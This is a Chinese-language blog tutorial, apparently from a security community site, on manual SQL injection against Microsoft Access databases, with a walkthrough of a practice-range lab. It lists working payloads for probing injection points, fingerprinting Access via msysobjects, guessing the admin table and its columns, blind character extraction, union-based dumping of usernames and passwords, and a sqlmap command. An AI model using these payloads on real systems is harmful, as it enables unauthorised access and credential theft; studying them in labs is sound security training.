web安全|渗透测试|网络安全 超详细​Access注入

举报
黑色地带(崛起) 发表于 2023/02/16 12:32:00 2023/02/16
【摘要】 web安全|渗透测试|网络安全 超详细​Access注入

web安全|渗透测试|网络安全 超详细​Access注入

理解各数据库特点,掌握基本的手工注入和工具注入

Access数据库

Access介绍

Access手工注入过程

第一步:判断注入点

第二步:判断数据库类型

第三步:枚举猜表

第四步:猜表中有多少列

第五步:枚举猜字段

第六步:猜数据长度并输出


墨者靶场练习

SQL手工注入漏洞测试(Access数据库)

第一步:判断是否有注入点 

第二步:判断数据库类型


第三步:猜表名

第四步:猜显示的列数

(空格)and exists (select * from admin order by 3)

第五步:猜列名

第五步:获取数据

第六步:解密得到密码

 理解各数据库特点,掌握基本的手工注入和工具注入

常见数据库

Access,Mysql,mssql,MongoDB,postgresql,sqlite,oracle,sybase等

msssql:sysobjects
mysql:infomation_schema
access:msysobjects
oracle:sys.user_table


Access数据库

Access介绍

(来源百度百科)

Microsoft Office Access是由微软发布的。它结合了关系数据库管理系统。Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。

Access数据库中没有注释符号. /**/ 、 -- 和 # 都没法使用。

Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

Access搭建的每个网站都是相互独立的。


Access手工注入过程

第一步:判断注入点

'       

 (报错,则可能存在注入点)


 and 1=1

 and 1=2 

(and 1=1正确,and 1=2 错误,则说明带入查询了,反之and可能被过滤了,换or等其他逻辑词进行判断)

(注:有时候第二排没加空格,就和第一排连在一起,可能会得不到预期结果)


第二步:判断数据库类型

msysobjects 是Access数据库特有的表 ,用它来判断是否是Access数据库

and exsits (select * from msysobjects)>0

(返回为没有数据或没有读取权限,是Access数据库 ,如果不存在,则不是)


第三步:枚举猜表

Access的所有表都在同一个数据库下,不用去判断当前数据库名,并且也不存在 database() 函数。

and exists(select* from admin)

(不报错则说明存在admin表)


第四步:猜表中有多少列

 and exists(select*from admin order by 5)

(5的时候正常,6的时候报错,则说明存在5列)

第五步:枚举猜字段

 and  exists(select admin from admin)

 and  exists(select user from admin)

 and  exists(select pass from admin)

不报错则说明存在

第六步:猜数据长度并输出


方法一:

and (select count(*) from information)>10

如果>10正确,>11错误,则有10行数据

方法二:

and 1=2 order by 9 from admin


access数据库中没有 limit来限制行数。

但可以使用top命令,top 1是只显示第一行, top3显示查询出来的前三行数据

and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>50

在access中,中文可以用asc函数来表示

  1. asc("中") = -10544

  2. chr(-10544) = 中



墨者靶场练习

SQL手工注入漏洞测试(Access数据库)

编辑

第一步:判断是否有注入点 

加'无法正常显示,可能有注入点

编辑

and 1=1

正常显示 

编辑

 and 1=2 

无法正确显示 

编辑

综上说明被带入执行了,即存在注入点,



第二步:判断数据库类型


方法一:手动判断

(空格)and exists (select * from msysobjects)>0

编辑

(推荐使用sqlmap扫描)


方法二:利用sqlmap继续扫描

sqlmap -u "URL"

编辑

编辑

探测出来是Access


第三步:猜表名

(空格)and exists (select * from admin) 

编辑

返回正常,说明存在admin表



第四步:猜显示的列数

(空格)and exists (select * from admin order by 3)

order by 4 无法正确显示,有3列(但是后面获取数据的时候要4个字段,离谱了,搞半天没发现这个猜列数哪里错了)

编辑



第五步:猜列名

(空格)and exists (select username from admin)

(空格)and exists (select passwd from admin)

编辑

编辑



第五步:获取数据

 (空格)union select 1,username,passwd,4 from admin

编辑



第六步:解密得到密码

编辑


编辑


编辑



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。